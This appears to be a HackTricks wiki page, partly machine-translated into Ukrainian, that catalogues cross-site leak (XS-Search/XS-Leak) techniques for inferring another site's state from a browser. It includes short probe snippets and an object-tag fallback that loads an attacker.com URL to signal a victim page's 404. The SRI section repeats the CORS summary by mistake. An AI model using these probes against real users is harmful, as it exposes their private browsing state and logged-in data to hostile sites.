XS-Search/XS-Leaks

Reading time: 50 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

XS-Search - це метод, що використовується для екстракції інформації з різних джерел шляхом використання вразливостей бічного каналу.

Ключові компоненти, що беруть участь у цій атаці, включають:

  • Вразливий веб: Цільовий веб-сайт, з якого планується екстракція інформації.
  • Веб-атакуючого: Зловмисний веб-сайт, створений атакуючим, який відвідує жертва, що містить експлойт.
  • Метод включення: Техніка, що використовується для включення Вразливого вебу в Веб-атакуючого (наприклад, window.open, iframe, fetch, HTML тег з href тощо).
  • Техніка витоку: Техніки, що використовуються для визначення відмінностей у стані Вразливого вебу на основі інформації, зібраної через метод включення.
  • Стан: Два потенційні стани Вразливого вебу, які атакуючий намагається розрізнити.
  • Виявлені відмінності: Спостережувані варіації, на які атакуючий покладається, щоб зробити висновок про стан Вразливого вебу.

Виявлені відмінності

Кілька аспектів можна проаналізувати, щоб відрізнити стани Вразливого вебу:

  • Код статусу: Відрізнення між різними кодами статусу HTTP з різних джерел, такими як помилки сервера, помилки клієнта або помилки аутентифікації.
  • Використання API: Визначення використання веб-API на різних сторінках, що виявляє, чи використовує крос-доменна сторінка конкретний JavaScript Web API.
  • Перенаправлення: Виявлення навігацій на різні сторінки, не лише HTTP перенаправлень, але й тих, що викликані JavaScript або HTML.
  • Вміст сторінки: Спостереження за варіаціями в тілі відповіді HTTP або в підресурсах сторінки, таких як кількість вбудованих фреймів або розмірні відмінності в зображеннях.
  • HTTP заголовок: Зазначення наявності або, можливо, значення конкретного заголовка відповіді HTTP, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy.
  • Час: Зазначення постійних часових відмінностей між двома станами.

Методи включення

  • HTML елементи: HTML пропонує різні елементи для включення ресурсів з різних джерел, такі як таблиці стилів, зображення або скрипти, змушуючи браузер запитувати не-HTML ресурс. Збірка потенційних HTML елементів для цієї мети доступна за https://github.com/cure53/HTTPLeaks.
  • Фрейми: Елементи, такі як iframe, object та embed, можуть вбудовувати HTML ресурси безпосередньо в сторінку атакуючого. Якщо сторінка не має захисту від фреймів, JavaScript може отримати доступ до об'єкта вікна вбудованого ресурсу через властивість contentWindow.
  • Спливаючі вікна: Метод window.open відкриває ресурс у новій вкладці або вікні, надаючи доступ до вікна для JavaScript для взаємодії з методами та властивостями відповідно до SOP. Спливаючі вікна, які часто використовуються в одноразовій аутентифікації, обходять обмеження фреймів і куків цільового ресурсу. Однак сучасні браузери обмежують створення спливаючих вікон до певних дій користувача.
  • Запити JavaScript: JavaScript дозволяє безпосередні запити до цільових ресурсів за допомогою XMLHttpRequests або Fetch API. Ці методи пропонують точний контроль над запитом, наприклад, можливість слідувати HTTP перенаправленням.

Техніки витоку

  • Обробник подій: Класична техніка витоку в XS-Leaks, де обробники подій, такі як onload та onerror, надають інформацію про успішність або невдачу завантаження ресурсу.
  • Повідомлення про помилки: Винятки JavaScript або спеціальні сторінки помилок можуть надавати інформацію про витік або безпосередньо з повідомлення про помилку, або шляхом розрізнення між її наявністю та відсутністю.
  • Глобальні обмеження: Фізичні обмеження браузера, такі як обсяг пам'яті або інші накладені обмеження браузера, можуть сигналізувати про досягнення порогу, слугуючи технікою витоку.
  • Глобальний стан: Виявлені взаємодії з глобальними станами браузерів (наприклад, інтерфейс історії) можуть бути використані. Наприклад, кількість записів в історії браузера може надати підказки про крос-домени сторінки.
  • Performance API: Цей API надає деталі продуктивності поточної сторінки, включаючи мережевий час для документа та завантажених ресурсів, що дозволяє робити висновки про запитувані ресурси.
  • Читабельні атрибути: Деякі HTML атрибути є читабельними з різних джерел і можуть бути використані як техніка витоку. Наприклад, властивість window.frame.length дозволяє JavaScript підраховувати фрейми, включені в веб-сторінку з різних джерел.

Інструмент XSinator та стаття

XSinator - це автоматичний інструмент для перевірки браузерів на наявність кількох відомих XS-Leaks, пояснених у його статті: https://xsinator.com/paper.pdf

Ви можете доступитися до інструменту за https://xsinator.com/

warning

Виключені XS-Leaks: Нам довелося виключити XS-Leaks, які покладаються на сервісні працівники, оскільки вони заважали б іншим витокам в XSinator. Крім того, ми вирішили виключити XS-Leaks, які покладаються на неправильну конфігурацію та помилки в конкретному веб-додатку. Наприклад, неправильна конфігурація Cross-Origin Resource Sharing (CORS), витік postMessage або Cross-Site Scripting. Додатково, ми виключили витоки на основі часу, оскільки вони часто страждають від повільності, шуму та неточності.

Техніки на основі часу

Деякі з наступних технік будуть використовувати час як частину процесу для виявлення відмінностей у можливих станах веб-сторінок. Існують різні способи вимірювання часу в веб-браузері.

Годинники: API performance.now() дозволяє розробникам отримувати вимірювання часу з високою роздільною здатністю.
Існує значна кількість API, які атакуючі можуть зловживати для створення неявних годинників: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS анімації та інші.
Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Техніки обробника подій

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Приклад коду намагається завантажити об'єкти скриптів з JS, але інші теги, такі як об'єкти, таблиці стилів, зображення, аудіо, також можуть бути використані. Більше того, також можливо безпосередньо ввести тег і оголосити події onload та onerror всередині тега (замість того, щоб вводити його з JS).

Існує також версія цієї атаки без скриптів:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

У цьому випадку, якщо example.com/404 не знайдено, буде завантажено attacker.com/?error.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Ця техніка схожа на попередню, але зловмисник також примусить виконати певну дію, щоб зайняти відповідну кількість часу, коли відповідь позитивна або негативна, і виміряти цей час.

performance.now + Force heavy task

unload/beforeunload Timing

Час, витрачений на отримання ресурсу, можна виміряти, використовуючи події unload та beforeunload. Подія beforeunload спрацьовує, коли браузер збирається перейти на нову сторінку, тоді як подія unload відбувається, коли навігація фактично відбувається. Часова різниця між цими двома подіями може бути обчислена для визначення тривалості, протягом якої браузер витратив на отримання ресурсу.

Sandboxed Frame Timing + onload

Було помічено, що за відсутності Framing Protections час, необхідний для завантаження сторінки та її підресурсів через мережу, може бути виміряний зловмисником. Це вимірювання зазвичай можливе, оскільки обробник onload iframe спрацьовує лише після завершення завантаження ресурсів та виконання JavaScript. Щоб обійти варіативність, введену виконанням скриптів, зловмисник може використовувати атрибут sandbox у <iframe>. Включення цього атрибута обмежує численні функціональності, зокрема виконання JavaScript, що полегшує вимірювання, яке в основному залежить від продуктивності мережі.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Якщо ви можете викликати помилку на сторінці, коли доступ до правильного контенту, і змусити її завантажитися правильно, коли доступ до будь-якого контенту, тоді ви можете створити цикл для витягування всієї інформації без вимірювання часу.
  • Code Example:

Припустимо, що ви можете вставити сторінку, яка має секретний контент всередину Iframe.

Ви можете змусити жертву шукати файл, який містить "flag", використовуючи Iframe (експлуатуючи CSRF, наприклад). Всередині Iframe ви знаєте, що подія onload буде виконана завжди принаймні один раз. Тоді ви можете змінити URL iframe, змінюючи лише контент hash в URL.

Наприклад:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Якщо перший URL був успішно завантажений, тоді, при зміні частини hash URL, подія onload не буде знову викликана. Але якщо на сторінці була якась помилка під час завантаження, тоді подія onload буде викликана знову.

Тоді ви можете відрізнити між правильно завантаженою сторінкою або сторінкою, яка має помилку при доступі.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Якщо сторінка повертає чутливий контент, або контент, який може бути контрольований користувачем. Користувач може встановити дійсний JS код у негативному випадку, завантажуючи кожну спробу всередині <script> тегів, так що в негативних випадках код зловмисника буде виконаний, а в позитивних випадках нічого не буде виконано.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) є заходом безпеки, який запобігає завантаженню певних чутливих крос-доменних ресурсів, щоб захистити від атак, таких як Spectre. Однак зловмисники можуть експлуатувати його захисну поведінку. Коли відповідь, що підлягає CORB, повертає захищений CORB Content-Type з nosniff і статусом 2xx, CORB видаляє тіло та заголовки відповіді. Зловмисники, які спостерігають за цим, можуть вивести комбінацію статус-коду (який вказує на успіх або помилку) та Content-Type (який вказує, чи захищений він CORB), що може призвести до потенційної витоку інформації.
  • Code Example:

Перевірте посилання з додатковою інформацією про атаку.

onblur

Можливо завантажити сторінку всередині iframe і використовувати #id_value, щоб змусити сторінку зосередитися на елементі iframe з вказаним id, тоді, якщо сигнал onblur буде викликаний, елемент ID існує.
Ви можете виконати ту ж атаку з portal тегами.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Збирати чутливу інформацію з postMessage або використовувати наявність postMessages як оракул, щоб дізнатися статус користувача на сторінці
  • Code Example: Any code listening for all postMessages.

Додатки часто використовують postMessage broadcasts для спілкування між різними джерелами. Однак цей метод може ненавмисно розкрити чутливу інформацію, якщо параметр targetOrigin не вказаний належним чином, що дозволяє будь-якому вікну отримувати повідомлення. Більше того, сам факт отримання повідомлення може діяти як оракул; наприклад, певні повідомлення можуть надсилатися лише користувачам, які увійшли в систему. Отже, наявність або відсутність цих повідомлень може розкрити інформацію про стан або особу користувача, наприклад, чи аутентифікований він чи ні.

Global Limits Techniques

WebSocket API

Можливо визначити, чи і скільки з'єднань WebSocket використовує цільова сторінка. Це дозволяє зловмиснику виявити стани програми та витік інформації, пов'язаної з кількістю з'єднань WebSocket.

Якщо один джерело використовує максимальну кількість об'єктів з'єднання WebSocket, незалежно від їх стану з'єднання, створення нових об'єктів призведе до виключень JavaScript. Щоб виконати цю атаку, веб-сайт зловмисника відкриває цільовий веб-сайт у спливаючому вікні або iframe, а потім, після завантаження цільового веб-сайту, намагається створити максимальну кількість можливих з'єднань WebSocket. Кількість викинутих виключень є кількістю з'єднань WebSocket, які використовує цільовий веб-сайт.

Payment API

Цей XS-Leak дозволяє зловмиснику виявити, коли крос-домена сторінка ініціює запит на оплату.

Оскільки лише один запит на оплату може бути активним одночасно, якщо цільовий веб-сайт використовує Payment Request API, будь-які подальші спроби використати цей API зазнають невдачі** і викличуть виключення JavaScript. Зловмисник може експлуатувати це, періодично намагаючись показати інтерфейс Payment API. Якщо одна спроба викликає виключення, цільовий веб-сайт в даний момент його використовує. Зловмисник може приховати ці періодичні спроби, негайно закриваючи інтерфейс після створення.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript працює на однопоточній моделі циклу подій, що означає, що він може виконувати лише одне завдання за раз. Цю характеристику можна експлуатувати для оцінки того, скільки часу потрібно коду з іншого джерела для виконання. Зловмисник може виміряти час виконання свого коду в циклі подій, постійно відправляючи події з фіксованими властивостями. Ці події будуть оброблені, коли пул подій буде порожнім. Якщо інші джерела також відправляють події в той же пул, зловмисник може вивести час, який потрібен для виконання цих зовнішніх подій, спостерігаючи за затримками у виконанні своїх власних завдань. Цей метод моніторингу циклу подій на затримки може розкрити час виконання коду з різних джерел, потенційно розкриваючи чутливу інформацію.

warning

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Один із способів вимірювання часу виконання веб-операції полягає в навмисному блокуванні циклу подій потоку, а потім вимірюванні того, скільки часу потрібно, щоб цикл подій знову став доступним. Вставивши блокуючу операцію (таку як тривале обчислення або синхронний виклик API) в цикл подій і контролюючи час, який потрібен для початку виконання наступного коду, можна вивести тривалість завдань, які виконувалися в циклі подій під час блокуючого періоду. Ця техніка використовує однопоточну природу циклу подій JavaScript, де завдання виконуються послідовно, і може надати уявлення про продуктивність або поведінку інших операцій, які ділять той же потік.
  • Code Example:

Значною перевагою техніки вимірювання часу виконання шляхом блокування циклу подій є її потенціал обходити Site Isolation. Site Isolation є функцією безпеки, яка розділяє різні веб-сайти на окремі процеси, щоб запобігти зловмисним сайтам від прямого доступу до чутливих даних з інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільний цикл подій, зловмисник може непрямо витягти інформацію про діяльність цього джерела. Цей метод не покладається на прямий доступ до даних іншого джерела, а скоріше спостерігає за впливом діяльності цього джерела на спільний цикл подій, таким чином ухиляючись від захисних бар'єрів, встановлених Site Isolation.

warning

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Зловмисник може заблокувати всі сокети, крім 1, завантажити цільовий веб-сайт і одночасно завантажити іншу сторінку, час, поки остання сторінка починає завантажуватися, є часом, який потрібен цільовій сторінці для завантаження.
  • Code Example:

Connection Pool Examples

Браузери використовують сокети для зв'язку з сервером, але через обмежені ресурси операційної системи та апаратного забезпечення браузери змушені накладати обмеження на кількість одночасних сокетів. Зловмисники можуть експлуатувати це обмеження через наступні кроки:

  1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів.
  2. Зайняти 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для підтримки з'єднань відкритими без завершення.
  3. Використати 256-й сокет для надсилання запиту до цільової сторінки.
  4. Спробувати 257-й запит до іншого хоста. Оскільки всі сокети зайняті (згідно з кроками 2 і 3), цей запит буде поставлений в чергу, поки не з'явиться доступний сокет. Затримка перед тим, як цей запит продовжиться, надає зловмиснику інформацію про час, пов'язаний з мережею, що стосується 256-го сокета (сокета цільової сторінки). Це виведення можливе, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути тим, що звільнився з кроку 3. Час, необхідний для того, щоб 256-й сокет став доступним, таким чином, безпосередньо пов'язаний з часом, необхідним для завершення запиту до цільової сторінки.

Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: Це схоже на попередню техніку, але замість використання всіх сокетів, Google Chrome накладає обмеження на 6 одночасних запитів до одного джерела. Якщо ми заблокуємо 5 і потім запустимо 6-й запит, ми можемо виміряти його, і якщо нам вдалося змусити сторінку жертви надіслати більше запитів до одного й того ж кінцевого пункту, щоб виявити статус сторінки, 6-й запит займе більше часу, і ми можемо це виявити.

Performance API Techniques

Performance API пропонує інформацію про показники продуктивності веб-додатків, додатково збагачену Resource Timing API. Resource Timing API дозволяє моніторити детальні часи запитів в мережі, такі як тривалість запитів. Особливо, коли сервери включають заголовок Timing-Allow-Origin: * у свої відповіді, стає доступною додаткова інформація, така як розмір передачі та час пошуку домену.

Цю багатство даних можна отримати за допомогою методів, таких як performance.getEntries або performance.getEntriesByName, що надає всебічний огляд інформації, пов'язаної з продуктивністю. Крім того, API полегшує вимірювання часу виконання, обчислюючи різницю між часовими мітками, отриманими з performance.now(). Однак варто зазначити, що для певних операцій у браузерах, таких як Chrome, точність performance.now() може бути обмежена мілісекундами, що може вплинути на детальність вимірювань часу.

Окрім вимірювань часу, Performance API можна використовувати для отримання інформації, пов'язаної з безпекою. Наприклад, наявність або відсутність сторінок в об'єкті performance у Chrome може вказувати на застосування X-Frame-Options. Зокрема, якщо сторінка заблокована від рендерингу в фреймі через X-Frame-Options, вона не буде зафіксована в об'єкті performance, що надає тонкий натяк на політику фреймування сторінки.

Error Leak

Можливо відрізнити між статус-кодами HTTP, оскільки запити, які призводять до помилки, не створюють запису продуктивності.

Style Reload Error

У попередній техніці також були виявлені два випадки, коли помилки браузера в GC призводять до завантаження ресурсів двічі, коли вони не вдаються. Це призведе до кількох записів у Performance API і, отже, може бути виявлено.

Request Merging Error

Техніка була знайдена в таблиці в згаданій статті, але опис техніки не був знайдений. Однак ви можете знайти вихідний код, перевіряючи його на https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Зловмисник може виявити, чи призвів запит до порожнього тіла HTTP-відповіді, оскільки порожні сторінки не створюють запис продуктивності в деяких браузерах.

XSS-Auditor Leak

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info: https://xsinator.com/paper.pdf (5.2)
  • Summary: Використовуючи XSS Auditor у Security Assertions, зловмисники можуть виявити конкретні елементи веб-сторінки, спостерігаючи за змінами у відповідях, коли створені корисні навантаження активують механізм фільтрації аудитора.
  • Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може парадоксально бути використаний для витоку чутливої інформації. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун і Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до хибних позитивів. Спираючись на це, дослідники розробили техніки для витягування інформації та виявлення конкретного контенту на крос-доменної сторінці, концепція, відома як XS-Leaks, спочатку повідомлена Терадою та розширена Хейзом у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записи в Performance API, що розкриває метод, за допомогою якого чутлива інформація може все ще бути витікана.

X-Frame Leak

Якщо сторінка не дозволена бути рендереною в iframe, вона не створює запис продуктивності. Як наслідок, зловмисник може виявити заголовок відповіді X-Frame-Options.
Те ж саме відбувається, якщо ви використовуєте embed тег.

Download Detection

Схоже на описаний XS-Leak, ресурс, який завантажується через заголовок ContentDisposition, також не створює запису продуктивності. Ця техніка працює у всіх основних браузерах.

Redirect Start Leak

Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для крос-доменної запитів. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для крос-доменної ресурсів. Однак у SA можливо виявити, чи користувач перенаправлений цільовою сторінкою, запитуючи Performance API та перевіряючи дані про redirectStart timing.

Duration Redirect Leak

У GC тривалість для запитів, які призводять до перенаправлення, є негативною і, отже, може бути відрізнена від запитів, які не призводять до перенаправлення.

CORP Leak

У деяких випадках запис nextHopProtocol може бути використаний як техніка витоку. У GC, коли заголовок CORP встановлений, nextHopProtocol буде порожнім. Зверніть увагу, що SA взагалі не створить запису продуктивності для ресурсів, активованих CORP.

Service Worker

Сервісні робітники є контекстами скриптів, що реагують на події, які працюють на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та кешувати ресурси, щоб створити офлайн веб-додаток.
Якщо ресурс, кешований сервісним робітником, доступний через iframe, ресурс буде завантажено з кешу сервісного робітника.
Щоб виявити, чи ресурс був завантажений з кешу сервісного робітника, можна використовувати Performance API.
Це також можна зробити за допомогою атаки на час (перевірте статтю для отримання додаткової інформації).

Cache

Використовуючи Performance API, можливо перевірити, чи ресурс кешується.

Network Duration

Error Messages Technique

Media Error

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

MediaError інтерфейс має властивість message, яка унікально ідентифікує ресурси, що завантажуються успішно, з відмінним рядком. Зловмисник може експлуатувати цю функцію, спостерігаючи за вмістом повідомлення, тим самим виводячи статус відповіді крос-доменного ресурсу.

CORS Error

  • Методи включення: Fetch API
  • Виявна різниця: Заголовок
  • Додаткова інформація: https://xsinator.com/paper.pdf (5.3)
  • Резюме: У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
  • Приклад коду: https://xsinator.com/testing.html#CORS%20Error%20Leak

Ця техніка дозволяє зловмиснику витягувати місце призначення перенаправлення крос-доменного сайту, експлуатуючи те, як браузери на базі Webkit обробляють CORS запити. Конкретно, коли CORS-увімкнений запит надсилається на цільовий сайт, який видає перенаправлення на основі стану користувача, а браузер потім відмовляє у запиті, повна URL-адреса цілі перенаправлення розкривається в повідомленні про помилку. Ця вразливість не тільки розкриває факт перенаправлення, але й виявляє кінцеву точку перенаправлення та будь-які чутливі параметри запиту, які вона може містити.

SRI Error

  • Методи включення: Fetch API
  • Виявна різниця: Заголовок
  • Додаткова інформація: https://xsinator.com/paper.pdf (5.3)
  • Резюме: У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
  • Приклад коду: https://xsinator.com/testing.html#SRI%20Error%20Leak

Зловмисник може експлуатувати докладні повідомлення про помилки, щоб вивести розмір відповідей крос-доменно. Це можливо завдяки механізму цілісності підресурсів (SRI), який використовує атрибут цілісності для перевірки, що ресурси, які завантажуються, часто з CDN, не були підроблені. Щоб SRI працював на крос-доменных ресурсах, вони повинні бути CORS-увімкненими; в іншому випадку вони не підлягають перевіркам цілісності. У Security Assertions (SA), подібно до помилки CORS XS-Leak, повідомлення про помилку може бути захоплене після того, як запит на отримання з атрибутом цілісності не вдається. Зловмисники можуть навмисно викликати цю помилку, призначивши фальшиве значення хешу для атрибута цілісності будь-якого запиту. У SA результуюче повідомлення про помилку ненавмисно розкриває довжину вмісту запитуваного ресурсу. Ця витік інформації дозволяє зловмиснику розрізняти варіації в розмірі відповіді, прокладаючи шлях для складних атак XS-Leak.

CSP Violation/Detection

XS-Leak може використовувати CSP для виявлення, чи був перенаправлений крос-домений сайт на інший домен. Цей витік може виявити перенаправлення, але додатково, домен цілі перенаправлення також витікає. Основна ідея цієї атаки полягає в тому, щоб дозволити цільовий домен на сайті зловмисника. Як тільки запит надсилається на цільовий домен, він перенаправляє на крос-домений домен. CSP блокує доступ до нього і створює звіт про порушення, що використовується як техніка витоку. Залежно від браузера, цей звіт може витікати цільове місце перенаправлення.
Сучасні браузери не вказують URL, на який було перенаправлено, але ви все ще можете виявити, що було викликано крос-доменне перенаправлення.

Cache

Браузери можуть використовувати один спільний кеш для всіх веб-сайтів. Незалежно від їх походження, можливо вивести, чи цільова сторінка запитувала конкретний файл.

Якщо сторінка завантажує зображення лише якщо користувач увійшов, ви можете анулювати ресурс (щоб він більше не кешувався, якщо це було, див. посилання з додатковою інформацією), виконати запит, який може завантажити цей ресурс, і спробувати завантажити ресурс з поганим запитом (наприклад, використовуючи надто довгий заголовок referer). Якщо завантаження ресурсу не викликало жодної помилки, це означає, що він був кешований.

CSP Directive

Нова функція в Google Chrome (GC) дозволяє веб-сторінкам пропонувати політику безпеки контенту (CSP), встановлюючи атрибут на елементі iframe, з директивами політики, що передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен авторизувати це через HTTP-заголовок, або відображається сторінка з помилкою. Однак, якщо iframe вже регулюється CSP, а нова запропонована політика не є більш обмежувальною, сторінка завантажується нормально. Цей механізм відкриває шлях для зловмисника виявити конкретні директиви CSP крос-доменної сторінки, ідентифікуючи сторінку з помилкою. Хоча ця вразливість була позначена як виправлена, наші висновки виявляють нову техніку витоку, здатну виявити сторінку з помилкою, що свідчить про те, що основна проблема ніколи не була повністю вирішена.

CORP

  • Методи включення: Fetch API
  • Виявна різниця: Заголовок
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/browser-features/corp/
  • Резюме: Ресурси, захищені політикою ресурсів крос-доменів (CORP), викликатимуть помилку, коли їх запитують з недозволеного походження.
  • Приклад коду: https://xsinator.com/testing.html#CORP%20Leak

Заголовок CORP є відносно новою функцією безпеки веб-платформи, яка, коли встановлена, блокує запити крос-доменів без CORS до даного ресурсу. Присутність заголовка можна виявити, оскільки ресурс, захищений CORP, викликатиме помилку при запиті.

CORB

Перевірте посилання для отримання додаткової інформації про атаку.

CORS error on Origin Reflection misconfiguration

У випадку, якщо заголовок Origin відображається в заголовку Access-Control-Allow-Origin, зловмисник може зловживати цією поведінкою, намагаючись отримати ресурс в CORS режимі. Якщо помилка не викликана, це означає, що він був правильно отриманий з вебу, якщо помилка викликана, це тому, що він був доступний з кешу (помилка з'являється, оскільки кеш зберігає відповідь з заголовком CORS, що дозволяє оригінальному домену, а не домену зловмисника).
Зверніть увагу, що якщо походження не відображається, але використовується символ підстановки (Access-Control-Allow-Origin: *), це не спрацює.

Техніка читабельних атрибутів

Fetch Redirect

Надсилаючи запит за допомогою Fetch API з redirect: "manual" та іншими параметрами, можливо прочитати атрибут response.type, і якщо він дорівнює opaqueredirect, то відповідь була перенаправленням.

COOP

Зловмисник здатний вивести наявність заголовка політики відкривача крос-доменів (COOP) у крос-доменної HTTP-відповіді. COOP використовується веб-додатками для запобігання зовнішнім сайтам отримувати довільні посилання на вікна. Видимість цього заголовка можна виявити, намагаючись отримати contentWindow посилання. У ситуаціях, коли COOP застосовується умовно, властивість opener стає показником: вона невизначена, коли COOP активна, і визначена у її відсутності.

URL Max Length - Server Side

  • Методи включення: Fetch API, HTML елементи
  • Виявна різниця: Код статусу / Вміст
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
  • Резюме: Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою, що сервер відповідає з помилкою, і генерується сповіщення.
  • Приклад коду: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

Якщо перенаправлення на стороні сервера використовує вхідні дані користувача всередині перенаправлення та додаткові дані. Можливо виявити цю поведінку, оскільки зазвичай сервера мають обмеження на довжину запиту. Якщо дані користувача мають довжину - 1, оскільки перенаправлення використовує ці дані та додає щось додаткове, це викличе помилку, що виявляється через події помилок.

Якщо ви зможете якимось чином встановити куки для користувача, ви також можете виконати цю атаку, встановивши достатню кількість куків (cookie bomb), так що з збільшенням розміру відповіді правильної відповіді викликається помилка. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного й того ж сайту, <script> автоматично надішле куки (тому ви можете перевірити на помилки).
Приклад cookie bomb + XS-Search можна знайти в запланованому рішенні цього звіту: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None або бути в тому ж контексті зазвичай потрібно для цього типу атаки.

URL Max Length - Client Side

Згідно з документацією Chromium, максимальна довжина URL у Chrome становить 2 МБ.

Загалом, веб-платформа не має обмежень на довжину URL (хоча 2^31 є поширеним обмеженням). Chrome обмежує URL до максимальної довжини 2 МБ з практичних причин і щоб уникнути проблем з відмовою в обслуговуванні в міжпроцесному спілкуванні.

Отже, якщо перенаправлений URL відповідає більше в одному з випадків, можливо зробити так, щоб він перенаправляв з URL більше ніж 2 МБ, щоб досягти обмеження довжини. Коли це відбувається, Chrome показує сторінку about:blank#blocked.

Помітна різниця полягає в тому, що якщо перенаправлення було завершено, window.origin викликає помилку, оскільки крос-домен не може отримати цю інформацію. Однак, якщо обмеження було **** досягнуто, і завантажена сторінка була about:blank#blocked, origin вікна залишається таким, як у батьківському, що є доступною інформацією.

Вся додаткова інформація, необхідна для досягнення 2 МБ, може бути додана через хеш в початковому URL, щоб вона була використана в перенаправленні.

URL Max Length - Client Side

Max Redirects

Якщо максимальна кількість перенаправлень, які потрібно слідувати в браузері, становить 20, зловмисник може спробувати завантажити свою сторінку з 19 перенаправленнями і нарешті надіслати жертву на перевірену сторінку. Якщо помилка викликана, це означає, що сторінка намагалася перенаправити жертву.

History Length

History API дозволяє JavaScript коду маніпулювати історією браузера, яка зберігає сторінки, відвідані користувачем. Зловмисник може використовувати властивість length як метод включення: для виявлення навігації JavaScript та HTML.
Перевіряючи history.length, змушуючи користувача перейти на сторінку, повертаючи її назад до того ж походження і перевіряючи нове значення history.length.

History Length with same URL

  • Методи включення: Фрейми, Вікна
  • Виявна різниця: Якщо URL такий же, як вгаданий
  • Резюме: Можливо вгадати, чи знаходиться місце розташування фрейма/вікна на конкретному URL, зловживаючи довжиною історії.
  • Приклад коду: Нижче

Зловмисник може використовувати JavaScript код, щоб маніпулювати місцем розташування фрейма/вікна на вгаданий і негайно змінити його на about:blank. Якщо довжина історії збільшилася, це означає, що URL був правильним, і у нього був час збільшитися, оскільки URL не перезавантажується, якщо він той же. Якщо не збільшилася, це означає, що він намагався завантажити вгаданий URL, але тому що ми негайно після завантажили about:blank, довжина історії ніколи не збільшилася при завантаженні вгаданого URL.

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

